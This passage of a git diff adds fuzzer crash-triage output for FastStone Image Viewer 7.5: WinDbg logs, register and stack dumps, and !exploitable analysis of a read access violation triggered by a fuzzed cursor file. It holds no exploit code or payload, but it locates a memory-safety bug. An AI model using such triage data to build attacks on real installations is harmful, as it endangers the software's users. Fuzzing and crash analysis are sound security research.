00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(a3c.37c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00000d2d ecx=07e87b10 edx=00003879 esi=12768f40 edi=0fd18fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.726973302933177440000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.919384000000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.48667e+037 -0.00321306 -1.3262e+011 -3.95582e-005 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f68130 07ee5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00385000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00385000 e90b0275 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6291 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00385000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2595/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2595/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..8c98922 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2595/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xA3C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xA3C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`743e9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743f0000 00000000`749f4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(a3c.37c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00000d2d ecx=07e87b10 edx=00003879 esi=12768f40 edi=0fd18fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.726973302933177440000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.919384000000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.48667e+037 -0.00321306 -1.3262e+011 -3.95582e-005 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f68130 07ee5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00385000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00385000 e90b0275 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6291 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00385000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2595/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2595/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..35e8830 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2595/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/27102/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/27102/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/27102/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/27102/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/27102/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..1b7da8c Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/27102/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/27102/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/27102/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..311410f --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/27102/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1FCC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1FCC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 